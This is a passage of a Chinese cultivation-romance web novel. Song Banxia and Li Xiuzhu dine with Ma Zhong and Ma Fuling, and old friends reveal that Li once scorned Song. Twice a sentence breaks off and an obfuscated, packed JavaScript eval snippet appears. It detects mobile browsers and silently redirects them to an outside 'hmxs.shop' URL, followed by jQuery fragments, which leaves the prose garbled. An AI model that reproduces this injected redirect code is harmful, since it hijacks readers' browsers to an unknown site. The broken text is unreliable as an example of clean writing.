等他低下头,只听宋半夏在他耳边道:“你瞧见前面那个穿黑衣服的人了吗?” 李修竹的目光顿时凌厉地移了过去。 宋半夏见了立刻伸手又拽了拽他,叫他不要这么杀意重重,接着说:“刚刚他在摊子上买东西,有个小偷偷了他腰间地荷包,他摸了一下腰间,说明他知道,但是却没有去追。不知道是为什么。” 李修竹直起身,忽然反转了一下垂在一侧的手,灵气瞬发,在宋半夏还没反应过来之前,就袭向了那个人。 黑衣人仿佛在身后长了眼睛,一个矮身躲了过去,一道符咒就打了过来。 宋半夏大吃一惊,一把抓住了还要结印的李修竹,把他往自己旁边拉过来,瞪大眼睛问他:“你做什么啊!” 黑衣人看到他们夫妻二人颦了下眉,冷冰冰的脸显得更臭了。 李修竹笑着对他说:“喂,你荷包都被人偷了,还不去追?” 黑衣人不语。 宋半夏对于这样的场景有些手足无措,她不明白李修竹为什么突然出手,并且对于他这样的行为十分不赞同。 他那样的法咒如果打到了人身上,岂不是要将人重伤? 宋半夏转头去看黑衣人。 黑衣人扫了她一眼,凉凉地说:“被人算计了还带着家眷到处闲逛,你真是越来越窝囊了,李修竹。” 宋半夏怔了下。 李修竹把宋半夏拉着他的手拿下来,带着一种不经意地炫耀,握在手里,看着黑衣人说:“马忠你是越来越蠢了,荷包被偷了也不敢去追。” 原来两人竟然是认识的。 马忠皱了皱眉头说:“那孩子我认识,荷包里钱不多,拿走了就拿走了。” 听了这话,宋半夏又是一皱眉。 她跟李修竹的朋友相处的时间不多,见过的也就寥寥几个,像叶晃、闻奈、孟灵等秉性都不差,也都是大陆人鼎鼎有名的人物。 但这次和李修竹一同出游,她已经接二连三发现了李修竹的令她‘讨厌’的地方了。 讨厌这个词宋半夏常用,讨厌太阳光太亮、讨厌今日下雨、讨厌某个人贪得无厌、讨厌……但这个词从来没有一次被她用在李修竹身上过。 就算当初李修竹老是深更半夜起床去修炼,她也只是觉得自己难以忍受,而不是讨厌他的行为。 她喜欢他的一切,就像鲜花喜欢阳光和雨露。 李修竹和马忠互怼了几句话,然后把宋半夏介绍了一下,确切的说是炫耀了一下自己的老婆。 马忠有个心上人,喜欢很多年了,一直没有任何进展。百年前,李修竹记得他还嘲笑自己说自己永远也娶不到老婆。李修竹耿耿于怀,所以现在必须嘲笑回去。 “你还真是和闻奈说的一样,失忆失的连脑子也没了。”马忠冷冷道。 李修竹并不生气,仍旧笑眯眯,说:“你想挨揍么,马小忠。” 马忠紧绷着脸盯了他片刻,哼了一声。 既然碰到了熟人,那么吃饭一事自然先被搁浅了,马忠虽然看上去冷冷的,但据说手艺特别好。 李修竹说:“他家小姐就是被他的手艺拐跑的。” 这倒确实勾起了宋半夏的馋嘴,她最近正要写些关于家常菜的文章,已经跟中洲报社约好了。只是出了李修竹失忆的事,所以到现在还没开始准备。 马忠说:“吃可以,给钱。” 李修竹:“给你脸了?本尊给你一脚你要不要?” 马忠说:“宋姑娘可以不用给,你不行。” 李修竹眉目一皱:“叫嫂子。” 马忠看了一眼有点生气的宋半夏,知道李修竹定然是没看出来,也不说,准备看他笑话。这就是李修竹嘲笑他的代价。 他说:“我随小姐叫。” 李修竹挑了挑眉道:“马小忠,这一百年你变化挺大啊。” 马忠不语,率先转身,给二人带路。 李修竹拉着宋半夏要跟上去,宋半夏终于将自己的生气表达了,她从他手里将自己的手很艰难地抽了出来。 这般艰难还要抽出来,说不是故意的,都没人信。 李修竹脚步一顿,转头看了她一眼。 生气了? 为什么? 他首先想到的就是沈广陵,毕竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559233|184644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们刚刚才见过,若说不介怀,是不可能的。 李修竹是大乘期大能,修的是逍遥道,不是慈悲道。要他自己看来,他当时没有拔剑给沈家那个小贼一剑,都是已经看开后的结果了。 可是他们一路飞过来,她都还好好的,怎么突然就为此生气了? 这也是情劫丝的副作用吗? 宋半夏当然不是为了沈广陵,她早忘了沈广陵那一茬了。她生气是因为刚刚被李修竹突然出手吓到了,而且李修竹根本没有为此道歉的意思。明明她只是想分享一个八卦而已。 夫妻二人一前一后走着,心情都有些不妙。 路上马忠问:“宋姑娘有什么想要吃的吗?” 宋半夏有些受宠若惊:“还可以点菜?” 马忠说:“可以,宋姑娘不是常在中洲报的美食板块上发表文章吗,应当对吃的很有研究。” “你也看?” 马忠顿了顿说:“小姐喜欢,曾给你寄过信。” 宋半夏爱屋及乌,因此对马忠有些改观,觉得这个人虽然善良的有点蠢,但性格确实比看起来要好。 马忠的家是一件普通的四合小院,比起那些大宅院看着简陋许多,但却十分温馨。 宋半夏不禁在心里猜测这人口中的小姐究竟是个什么样的人,他既然叫小姐,也就是说曾经是那人家中的奴仆或客卿? 这人和她一个等级,元婴的话,倒是在一些小家族里确实能当个厉害点的客卿了。 李修竹一路上看了宋半夏许多眼,宋半夏察觉到了,只是还在生气。 她怕自己一看他就忘记自己为什么生气了,所以并不看他,只同马忠讲话,期间李修竹几次插话,她也没理。 进了院子,马忠刚跨进去,二人就听到有一个女子的声音响起。 “回来了?”那女子声音温和而婉转,见到他空荡荡的腰间之后,立刻变了语调,“马!忠!你荷包呢?!” 宋半夏要埋进去的脚顿了顿,李修竹紧跟在她身后,也停下了脚步。他并不关心院子里被骂的马忠,一颗心仍然系在宋半夏身上。 马伏苓并没有注意到门外的二人,她被马忠气到了:“你的荷包是不是又被隔壁那小子偷走了?” 马忠有些心虚,没说过。 马茯苓怒道:“我都说了,不能助长他的这种行为!他没钱可以跟我借、跟你借,但他不能偷!你如果真的可怜他,就该当场制止他,他才十二岁,你这样助长他的歪风邪气,你会毁了他的你知不知道!” 宋半夏听了这番言论恨不得拍手叫好,里面的人句句戳到了她的心坎上。 之前碍于她跟此人不熟,加上他又是李修竹的朋友,所以她才什么都没说,但心里对此是有介怀的。 她往前走去,里面的女子穿着粉色衣衫,装扮朴素,梳了一个侧辫,长了一张鹅蛋脸,一看就是个温婉的形象。 如今这温婉的人正掐着腰怒骂呆子。 宋半夏踏进去,被发现后,马茯苓静了静,睁大了自己的眼睛。 “宋半夏?”她惊讶道,“你怎么来这里了?” 说完她意识到自己现在的形象,脸瞬间红了,有些尴尬地放下了手。 宋半夏在她叫出自己名字的时候就隐约想起了此人。 “你是……马茯苓?!”她诧异道,“你不是……死了吗?!” 李修竹眼皮一跳,伸手捂住了她的嘴巴。 这姑娘,说话忒直了。 马忠刚刚化了一点冻的脸顿时黑了黑。 马茯苓见了,推了他一下,似乎有些无措,说:“你还不去给宋小姐和李剑君倒茶?” 宋半夏眨了下眼睛,把李修竹的手拉下来,说:“原来那是马家放出来的假消息吗?” 她终于想起来,新兴四世家的马家似乎确实有一个叫马忠的客卿来着,似乎擅长炼器,不过后来就再也没听说过了。 宋半夏之所以认识马茯苓,是因为当年曾经去马家参加过马家家主的寿辰,她爹肯定不可能去的,为了表达重视,是由她和她哥去的。 马茯苓是马家嫡系的第三个女儿,她上面还有两个姐姐。两个人见面的次数不多,都是匆匆一面,聊过的话更是少之又少。马茯苓天赋一般,虽然是马家嫡系,但是上有阿姊下有胞弟,并不受重视,因此养成了唯唯诺诺的个性。 一百年前,她成婚不久,听说马茯苓就因病去世了,她还叫她哥代她送过挽联。 说来也巧,马家其实在当年有意将马茯苓许配给她哥,就像赵家把赵琳撮合给沈广陵一样。 当时她嫂子还没出现,这事还真有可能成,毕竟虽说沈家和他们家是世交,但沈家跟赵家结了盟,他们拉拢一下马家也未尝不可。 没想到,马茯苓不仅没死,竟然还和马家曾经的客卿有不明不白的关系。 19. 第十九章 院子里,马茯苓有些慌张,她本身就不是一个强硬的姑娘,但当她的目光落到自己在院子里种的梅花树上,就很快平静下来,微微叹气,笑了一下。 “是,当年家里要我给宋一舟下药,叫我嫁给他做小,我不愿意,我想去天剑宗学剑,可是我天赋又不如姐妹兄弟好,所以家里人并不同意。”马茯苓顿了顿,“不过还好,我最终还是跑出来了!” 她又笑了笑,仿佛对过去已经释怀。 宋半夏注意到,她的脸上有一道很浅很浅的疤,被粉盖住了,所以并不明显。 修仙之人的体质都是很强的,也有很多能够完美修复疤痕的药,虽然很贵,一般千金难求,但倘若以马家的财力和势力去买,应当还是可以买的到,可见马家确实已经彻底放弃了马茯苓。 说实话,修仙界的这群世家,大都如此德行。不过,像宋家、沈家、尤家这种老牌世家,都已经将资源积累的差不多了,所以才能穿上人皮维持自己的优雅与体面,尽管如此,她哥还是成日里需要忙的跟个陀螺似的,才能不让家族长老们骑到他头上。 但像马家、赵家等四大新兴世家,为了向上爬、巩固自己的地位可谓是无所不用其极。卖儿?女完全是基本操作。 其中的人大多数都会像赵琳那样,看着强势、地位高,但最终仍被家族的信念和感情所吞噬,像马茯苓这样的,实在是少之又少。 而且在宋半夏与马茯苓见过的短短几面里,这人明明是个不声不响的柔弱性子。 宋半夏替她觉得松了口气,但紧接着就觉得自己站在这里还要来蹭饭实在有些尴尬。 毕竟马茯苓自己都说了,原本是要被家族送给她哥的。 这让宋半夏觉得,自己好像在某一瞬间也成了迫害她的人,所以她有些想走了,只说:“恭喜,能摆脱家族是件好事。” 她往后退了一步。 马茯苓见了似乎察觉到了她的意向,大抵像她这样内敛的人总能更加敏锐地读懂别人的思维,也更能体谅他人。 “宋小姐,”马茯苓说,“我能叫你半夏吗?” 宋半夏:“当然可以,咱们之前不是还一起提过诗?我记得你的字写的特别好,还得了头名。” 马茯苓失笑说:“是,我记得很清楚,那次的头名奖是李剑君从秘境里拿出的剑谱,而且你的诗和字也很好,但你……” 说到这里她顿了顿,觉得世事真是奇妙,当时相看两厌的人,如今竟成了百年恩爱夫妻,就好像她跟马忠一样。 马茯苓隐去当年宋半夏的傲慢言语,只说:“多亏了你谦让,把剑谱给了我。不然,那剑谱本该是你的,你是好意,我知道。……你和李剑君帮了我许多。” 闻言,宋半夏看了一眼李修竹,恰巧李修竹却也在看她。 宋半夏一怔,想笑,又记起刚刚自己还在生气,于是没笑,扭过头去了。 李修竹沉思的面容又落了落,他倒也想不去在意宋半夏的一举一动,或者是搞点什么欲拒还迎的戏码,问题是他做不到。 宋半夏一把手抽出去,他就觉得自己的心好像飘浮了起来、焦躁了起来。 马茯苓要比马忠热情许多,一定要留二人吃一顿饭,当即围了围裙去厨房里忙活去了,却被马忠往外推。 马忠:“我来。” 马茯苓说:“我一直特别喜欢半夏的那道海鲜羹,你再去买点菜,让半夏尝尝我做的海鲜羹味道怎么样。” 厨房里虽然小,但是并不逼仄,五脏俱全十分温馨,灶台垒的也好,点起火来,烟并不倒灌,一下子就从烟筒里出去了。 “这灶台是马忠垒的。”说起这件事,马茯苓有点脸红,又推了冷着脸的马忠一下,“你快去啊,我和半夏李剑君在家聊聊天。” 马忠看着跟着石头似的,马茯苓一催,即便心里不愿意,但很快动起来,对她堪称言听计从,看的宋半夏十分羡慕。 这两人显然是有情的。 马茯苓送马忠出门的时候,李修竹伸手揪住了往前凑热闹的宋半夏,说实话,就宋半夏这个样子,说她就爱宅在家中,也很难取信他人。 “你当初为什么要把剑谱让给别人?”李修竹的重点抓的很紧。 宋半夏怔了一下,看了一下他的神情,心想,难道他是觉得她不尊重比赛?她可并不想给他留这么个印象,立刻解释说:“那是因为我又没有修炼天赋,而且家中剑谱多的是。但她看起来很想要那份剑谱,所以就给她了,何况我不觉得我的诗写的比她好,都是众人看在我家的份上才抬举我,毕竟大家都知道我不能修炼。” 当然,还有一点就是马茯苓看起来实在是太过唯唯诺诺了,向来是众人间的配角,所以当知道她诗文做的很好还写了一手好字之后,宋半夏对她有些另眼相待,觉得舍出这个头名,或许可以让她变得自信一些。 说到底只是她的一时一时意气、一时怜悯罢了。 李修竹不依不饶,一下子把宋半夏问的哑口无言:“既然如此,那你当初为何要参加比赛?” 当然是因为宋半夏想要那本剑谱,那本来自于他的剑谱。不过这种事情说出来,未免有些难为情了。 陈述自己当时的想法并不为难,为难的是当时她为了拿到那本剑谱,硬硬生生将原本比剑的赛事变成了比题诗词——十分地傲慢世家女做派。 于是宋半夏撅了撅嘴问他:“你不是只不记得百年前的事情吗?原来连那个时候的事也不记得了,剑君,你口中说的百年其实是一百多年吧。” 李修竹一怔,也是突然发现,自己对于宋半夏的记忆,忘得太多了,而且并不是从菩提封印出来时开始忘得,连之前的记忆也很模糊。 他握着她的手腕,握的很紧,宋半夏要抽出来,没能抽动。 李修竹低声哄她说:“别生气了,我之前在大街上突然出手是不是吓到你了?我向你赔不是。” 他刚刚想了又想,觉得可能是这样,所以打算先蒙头道一波歉。倘若是这样最好不过了,倘若是因为沈广陵…… 李修竹说:“马忠跟我认识很久了,虽然我并不记得,但听闻奈他们说,当年他带着他们家小姐逃跑其中有我的帮忙。” 宋半夏只觉得他温热的气息扑在她的耳边上,整个人软了软,心脏砰砰地跳,她已经分不清是情劫丝的原因还是她自己的原因了。 她咬了下唇,面上还绷着,斜了他义眼,说:“那好吧,原谅你。” 李修竹松了一口气,心落了下去。 按道理说他该松开牵着她的手了,毕竟刚刚哄好她,不该再死皮赖脸地往她身边贴,可是他放下手时,却被她落下的手牵住了小指,他顿时看向她,只看到她看着马茯苓和马忠的温和眼神和那漂亮的唇形,自己往下地两个柔软的圆峰。 李修竹顿时移开了自己的眼睛,心慌意乱之余,只觉得无奈极了。 这么多年第一次动心就遇上这么复杂的情形,让他剪不断、理还乱。明明二人已经是百年夫妻,可却只能忍着,除非他想彻底将他们之间的事情搞得乱糟糟。 马忠去买菜,买的很快,买完就一头扎进了厨房,连做好几道大菜。 马茯苓要做羹汤的所有食材都被他提前处理了,倒是她只需要掌握用量和火候就可以了。她比从前活泼多了,指使起马忠来也行云流水。 宋半夏跟她聊了两句美食的事情,二人聊的很投机,李修竹则要去给马忠搭把手。 马茯苓连忙阻止道:“怎么能让剑君下厨呢,远来是客,您和半夏就坐一会儿吧。” 马忠抬眸看了看李修竹说:“受伤了就不要再折腾了,歇歇吧。” 李修竹挽起袖子道:“本尊就算受伤了,也能打你十个。” 他正要上前,却听身后传来声音。 “呀,半夏?” 宋半夏只觉得自己鼻腔中一热,有什么顺着鼻子就流了出来,低头看到地上滴落的东西,原来是血。 李修竹几乎立刻就窜了过去,变出帕子要帮她处理,被宋半夏夺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564347|184644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过帕子自己擦着。 马茯苓担忧问:“是生病了吗?” 宋半夏的身体顿了顿,她说起生病,她忽然想到了自己的情劫丝。 一百年了,似乎也到了极限了。 之前在仙盟门口她就感觉脚麻了一下,险些摔到了地上,现在又无缘无故流血……宋半夏有种不好的预感。 她摆了摆手说:“可能是这两天心情不好,上火了,不用担心。” “为什么上火?”马茯苓问。 宋半夏只是随便编了个能让李修竹和其他人都相信的理由,没想到马茯苓会追问。 她咳了一声说:“被你口中的李剑君失忆气的。” 马茯苓看了一眼在旁边帮宋半夏揪着衣服,颦着眉毛盯着宋半夏看的李修竹。 “听说是因为北海的一名妖修吗?” 宋半夏说:“你问他好了,反正他说是。” 李修竹见她看过来,颦起的眉眼稍微松了松,说:“现在只知道拍卖会后不久,我去除蛟龙,那恶妖也去了那个地方,之后我从北海醒来,失去了记忆,而不久有人见到他拿着我的一件法器在售卖,恐怕是当时携带的芥子被他拿走了。” 马茯苓听着问:“要不要我们帮忙,虽说我们能力有点不足,但总还是能帮上些忙的。” 李修竹道:“不必——” 话没说完马忠道:“我同你去。” 李修竹有些诧异。 马忠说:“就当还债。” “是啊,剑君、半夏,你们帮了我们许多,这次就让我们帮一下你们吧。” 宋半夏觉得,他们这么多人去围捕一个元婴期的妖修,完全算群殴,帮忙的话倒真不用了。而且她觉得自己也并没有帮马茯苓什么,或许是李修竹帮的多了些?但李修竹向来也是个随心之人,不会计较报酬。 她刚要开口拒绝,李修竹却道:“好,那便一同去吧。” 宋半夏看了一眼李修竹,李修竹拍了拍她的手。 马茯苓倒明显很高兴。 她高兴了,马忠自然也高兴。 主人家气氛和睦,宋半夏也因此感到舒适。 色香味俱全的饭菜很快全部上桌。 四人刚吃了两口饭,门外却传来敲门声,马忠去把院外门打开。 宋半夏听见一道熟悉的声音:“李修竹是不是跑你这儿来了?” 马忠侧身让路。 一名身穿粉白色衣服的男子走了进来,眉间温润而弱,披着一件白色狐裘更显病气。 紧接着一名身穿正黄金丝衣服的女子走了进来,腰间坠着铃铛一样的锤头,眉目凌厉,见了人,道:“你果然在这里,李修竹。” 她目光移向宋半夏顿了顿,冷哼了一声,说:“好久不见。” 是闻奈和孟灵寻迹而来。 宋半夏对二人笑了笑,道:“好久不见。” 孟灵似乎有点生气,不知是被谁又惹到了,走到了桌子前,随手从芥子中搬出了把豪华椅子抱着胳膊坐下。 李修竹只当看不见她,在旁边给宋半夏默默扒着虾。扒好一个,就放到她面前一个。 他心想,孟灵这妮子一百年过去了,脾气真是越来越差了,想来都是闻奈的责任。 马茯苓连忙招呼众人坐下。 讲话间,后面走进来了一个人,背着一把长刀,面冷而打扮洒脱,眉如峰,目含光。 他的到来让宋半夏有点诧异。 “叶晃?” 宋半夏看了看一旁的李修竹,李修竹刚刚扒完一只虾,见状直接递到了她唇边。 宋半夏张口吃了,目光仍看着他,看的李修竹心里痒痒的。 叶晃比以往平和许多,至少虽然摆着一张臭脸,但见了李修竹并没有直接拔刀,马茯苓招呼着,他便也坐了下来,坐到了孟灵对面。 李修竹仍扒着虾。 宋半夏有些做不住了,低低咳了一声。 李修竹扒虾的动作停了下来,看向她。 20. 第二十章 几人陆续就座,除了闻奈皆一言不发,表情不善。这三人宋半夏接触的多,因此都很熟悉。 李修竹说:“明日出发,马忠和马小姐也同我们一道去北海。” 叶晃皱了皱眉头,因为这和他收到的消息不一样,不过他并没有反驳,而是看向了宋半夏,随即又是皱了皱眉。 她看起来,好像情劫丝还没解的样子。 当年,叶晃知道了情劫丝是李修竹所下之后,十分震惊与愕然,他激烈劝诫后无果,与李修竹的关系也就逐渐剑拔弩张。 过去的朋友情谊自然是还在的,但却复杂很多。 叶晃曾经被李修竹救过很多次,自认为二人是可以两肋插刀的关系,可是不知道什么时候,李修竹就误入歧途了,他没办法理解,只能坚持自己的道。 当然,随着李修竹执迷不悟地越久,他同李修竹的关系也就越发恶劣了,这次要不是闻奈劝他,他也是不会来的。 闻奈坐下后独独给孟灵倒了水,然后就开始跟马忠寒暄,也时不时给马茯苓递点话,他本身就是个特别能共感他人的人,加上又是医修,所以待人接物都让人感到十分舒适。 马茯苓说:“之前我和半夏还说到当初赏花会上赠剑谱一事,当时我还遗憾只见到了闻奈仙君你,而没有见到李剑君,没想到还能有和李剑君与半夏坐下来共饮一杯的时候。” “赏花会赠剑?”孟灵抱着胳膊,皱着眉头,想了半天才从自己长远的记忆里找到了,“李修竹当时不是去了吗?为什么没有去亲自送剑谱?” 闻奈顿了顿,看向李修竹,李修竹没有任何表示。 叶晃毫不留情,冷声道:“因为他说,有一个傲慢的世家女把他的赏花会搞得一团乱,他不屑去送剑谱,所以闻奈才自己去送奖励的。” 傲慢的世家女,宋半夏听见这句话直接愣了。 李修竹还没反应过来呢,他确实不太喜欢修仙世家的人,抬头笑道:“是吗?原来如此。” 宋半夏看到叶晃扫向自己,脸瞬间白了白。她并不知道当时还有这么一件事情,当时她只是和其他所有人一样,失落于来颁奖的是闻奈而不是李修竹本人。 马茯苓也怔了怔,意识到了什么,看向宋半夏。 赏花会的彩头都是提前定下的,一共有好几场,前两场都是比修为与武力,彩头分别是是某位大乘老祖随手炼的法器,和宋家的一枚解毒丹,最后才是李修竹的剑谱。 当时在场的世家女有很多,若说傲慢的有的是,可‘把赏花会搞得一团乱’的这句话就有些针对性了。 叶晃说:“你当初可是很讨厌那个世家女的,觉得她肖似她爹,傲慢狂妄却没有实力。” 这话倒也确实像李修竹能够说出来的话。 李修竹说:“我确实讨厌这样的人,没去亲自送剑谱也是正常。” 正常吗? 宋半夏觉得自己刚刚吃进嘴的虾在自己肚子里翻滚,逐渐钻进了心脏。 闻奈欲言又止,尴尬至极,连忙找补道:“咳,人都会变得。就好比今天你不喜欢吃香菜,明天说不定就爱的不得了了呢。” 马茯苓的目光也不由得在宋半夏和李修竹身上晃动,看到宋半夏有些僵硬的脸庞,她咬了咬唇,硬着头皮钻进这一场尴尬的气氛中宽慰她道:“是啊,有的人一开始相看两厌——” 马忠朝马茯苓看了过去,这让马茯苓感到自己耳朵尖在逐渐变红,这让她再说不出什么肉麻的话。 从前的马茯苓是很讨厌马忠的,讨厌的不得了。如今虽然喜欢,可马忠却不开窍,她也不好意思主动,只能憋在心里。 尽管如此,看到宋半夏僵硬的神情,她还是咬牙继续道:“可能到了后来就看顺眼了。” 马忠垂了垂眼,看向她放在桌上的手。 李修竹觉得众人古怪,他看向他们。 孟灵反驳闻奈的话:“你说的什么屁话,老娘今天不喜欢吃香菜,就一辈子都不会喜欢吃香菜。” 闻奈:“我说的不是香菜。” 孟灵拧眉,觉得这人越发婆婆妈妈、弯弯绕绕:“那你说的是什么?” “这……”闻奈尴尬到想找个地缝钻进去。 孟灵顺着他的视线,看向了宋半夏,愣了一秒,然后瞬间有些明白了。 李修竹这个时候也猜到了,他心里还在想,自己怎么可能会对着宋半夏说那样的话,而且宋半夏看起来虽然娇气了些,但绝对不傲慢,更不是那种唯我独尊的样子。 宋半夏笑不出来,当李修竹看向她的那一刻,她握紧了自己放在腿上的手。 她知道,那句话百分百是在说她。 李修竹当年如此厌恶她,这是她所不知道的。她本以为自己最多在李修竹的印象里就是个普通的倒霉的世家女,或者说最坏的可能也就是没有印象,但没想到,还有这种令她觉得仿佛如晴天霹雳般的印象。 她吸了口气,直直看向叶晃,问:“这世家女,是说的谁?” 李修竹冷脸也看了过去,仿佛只要叶晃说出什么冒犯的话,他下一秒就会拔剑相向。 面对宋半夏的询问,叶晃语气却平静下来,没了其中的讽刺意味,甚至带着点包容说:“你不是已经猜到了?” 宋半夏:“我猜不到,你给我明说。” 叶晃说:“本来三场比试都是以武会友,但最后一场却有一位修炼天赋奇差、堪比凡人的世家女说:修真界向来以武贵专,可虽有武力却不明事理,也难成大能。逍遥道向来文武双修,李剑君更是文武双全,不如最后一场笔试咱们以文会友。场内众人碍于她的身份,只得同意。” 李修竹怔了一下,看向宋半夏,当年还有这么一事?他却没有任何记忆。 孟灵这下听明白了,立刻要起身揍人,被闻奈眼疾手快按住了,仍咬牙骂:“叶晃!” 叶晃说:“我说的事,难道是我胡编不成?” 孟灵独裁道:“你闭嘴!” 眼瞧着眼前人要乱起来,面色僵硬的宋半夏叹了口气,说:“先吃饭吧,白瞎了这一桌菜事小,可白瞎了别人心意事大。” 她似乎意有所指。 李修竹心中忐忑,碍于人前,竟没有任何办法。 宋半夏察觉到他一直看着自己的目光,转头看过去,只看到那其中满是紧张。 宋半夏指尖一顿,移开了目光。 李修竹心凉了一半。 马忠和马茯苓做的菜都很好吃,宋半夏心情极差,吃着吃着竟然好了起来。一顿饭吃完,她的心情恢复了不少。 谁料,吃到最后的时候,她手一晃,手中杯子掉了,众人皆是一惊,看向她,以为她要发火了。 就连脾气差的孟灵都屏住了呼吸。 宋半夏愣了愣,她并没有要发火的意思,只是突然间手就不受控制了,顿时低头要去捡杯子。 李修竹抓住了她的手,让她站到一旁,他俯身捡了起来。 宋半夏心知是情劫丝的原因,心里有些烦躁,起身要去外面呼吸新鲜空气。 李修竹看着她的背影,眼中一晃,却记起了当年赏花会之事。让他有些吃惊的事,那时他好像真的挺讨厌她的。 他似乎又站在了那高台之上,往下看去,看到了那花影重重中的比菡萏花还漂亮的侧脸。 那女孩虽身体柔弱,没法以自身体质去吸取天地间的灵气,但个性却并不弱,说起话来头头是道。 有人对李修竹笑着说:“这宋家小姑娘,倒是活泼,说话也颇有条理。李剑君的剑谱,这样怕是要落到她的手里了。” 李修竹听到自己问:“哪个宋家?” “这世间还有哪个宋家,三大世家,也就只有那么一个体质十分特殊的女娃。”那人说,“不能自己吸取灵气,基本上与仙路无缘了。不过听说南海那边有某种功法,可以将道侣的灵台与神魂融合在一起,相当于一个人,然后经过这样长时间的锻炼,对方就能将不通的灵窍打开。但都是传闻,宋家寻了多年至今没有寻到……也是可怜。” “可怜?”李修竹看着那咄咄逼人的女孩有些失笑,他可看不出她有多可怜,他摇了摇手中酒杯说,“宋家的女儿倒是随了她爹的性子。” “是了,你李修竹跟宋向松从来不对付。这小姑娘若是真的以文会友,赢了这场,那剑谱你还给不给?” 李修竹说:“话都说出去了,她赢了我自然给。” “这可是你说的。” 远处亭台院落里,众人很快分出了胜负来,那骄傲的女孩果然赢了,有人为她喝彩,大部分都是为了讨好她背后的宋家,就是不知道她自己知不知道了。 李修竹的目光被那动静重新吸引过去,人群拥挤,如滔滔潮水,他却只看到了那个鲜艳的、脆弱的、眉眼弯弯的宋家女。 只是赢了个诗会,她倒骄傲的像个孔雀,一点也不为自己没法修炼的将来担忧,真是小孩脾性。 这样想着,李修竹却不自觉的随着她勾了勾唇。 闻奈带着剑谱掀帘走了进来,说:“你的剑谱,外面的第三场比试分出胜负了,你还不去送?” 众人皆看向李修竹。 李修竹收敛了唇边的笑,打了个哈欠,仿佛刚刚醒来,起身,晃晃悠悠地要去颁奖。 闻奈说:“让我给你捧着啊!” 李修竹头也不回说他:“你面大嘛。” 走过蜿蜒回廊,到那对面茶亭前,帘子未掀,只听到宋半夏的声音传来:“马茯苓的字比我写的要好多了,这头名该是她的。” 李修竹和闻奈脚步都顿了一下。 得了头名又让出去,这事倒是少有。 周围人纷纷劝宋半夏:“这剑谱合该是你的,为何不要?” 有人道:“宋大小姐无法修炼,拿了这剑谱也没用,确实不如让给他人。” “尤三!你说什么呢。” “怎么,我说的不对?” 李修竹颦了下眉,正要掀帘子,却听到宋半夏的声音响起:“尤三,你自己在乎修为在乎地不得了,以为别人和你一样在乎呢。对了,就算我什么也不干,家中父母和兄长也绝对不会对我视而不见,而你就不一样了,你不会在妒忌吧?” 尤三显然被戳中了痛点:“你!” 宋半夏表现得十分游刃有余:“我什么?这剑谱我想要我自然能拿到,不想要当然是因为不想要。但理由绝对不是你说的那个理由。” 有人帮腔道:“就是,也不想想这剑谱是谁的。这是李剑君的。谁不知道宋家家主和李剑君关系不睦,我们半夏才不稀罕这剑谱。” “……” 随即大家你一言我一语说起了宋半夏和宋向松的父女关系有多好,更说起宋家上下都是一体的,宋向松讨厌李修竹,宋半夏自然有过之而无不及。 “是吧,半夏?” “……”宋半夏咳了一声,“当然。” 闻奈笑了笑对李修竹说:“原来是你的仇人赢了这场比赛。” 他把剑谱往前递了递:“去吧,李剑君。” 李修竹抱起来了胳膊,一动不动。 闻奈有些疑惑。 李修竹说:“你去。” “?”闻奈讶然,“我?” 李修竹转过身,面色一般,显然有些不虞,说:“好好的一场赏花会,被一群傲慢的世家搅成了一锅粥,这剑谱本尊不乐意去搬,你要愿意你就去吧。”说罢他当场转身离去,徒留闻奈在原地跳脚。 过去之事犹如繁花倒影,转瞬即逝,李修竹显得有些沉默。 饭桌上众人仍在面面相觑。 孟灵踢了闻奈一脚,闻奈不明所以。 马茯苓想起身又坐了下去。 马忠给马茯苓添了杯茶,对李修竹说:“你不出去?” “什么?”李修竹一时间还没从过去的回忆中醒过来。 叶晃说:“怎么,记起来了?” 李修竹抬眸看了一眼他,说:“记起一些。” 他沉默片刻,不解问:“当初……我很……我不喜欢她吗?” 虽然他未曾指名道姓,但大家都知道他说的是谁。 叶晃道:“这要问你自己了。” 孟灵忍不住脾气,拍了下桌子说:“李修竹,你不出去哄人吗?你难道真要合离不成?” 马茯苓惊了:“合离?为什么?” 马忠皱了皱眉,看向李修竹:“因为记忆的事?” 李修竹有些疲倦的反驳:“不是。” “我瞧他自己都混乱极了,不光是记忆混乱,人也混乱了。”叶晃冷冷道,“你什么时候把情劫丝解了?一百年了,该结束了。” 闻奈‘啧’了一声,叫他小声一点:“都说的什么话,干脆把半夏叫进来,当面说好了!” 孟灵皱眉,问李修竹:“合离之事你是不是已经同她说了?” 马茯苓站起身来,看向外面,问:“李剑君到底为什么啊,你和半夏不是挺恩爱的?是因为丢失了一百年的记忆吗?虽然当年或许你们相看两厌,但人总会变的,这些年我常看半夏写的美食文章,里面都曾提及你,可见她是很在乎你的。你也很在乎她不是吗?” 因为马茯苓自己和马忠就是从相看两厌,但如今的情况,所以十分笃定。 叶晃:“我看未必。” 马茯苓和马忠皆看向了他。 叶晃说:“情劫丝的副作用是随着时间的增加而增加的。现如今她看着对你深爱不渝,说不定内心早就将你厌烦。只等着情劫丝一解,就会将你一剑捅穿。” 马茯苓是才知道情劫丝还有这个弊端,她只以为情劫丝只是会给身体造成伤害,而且她以为宋半夏的情劫丝早就解了,没想到并没有。 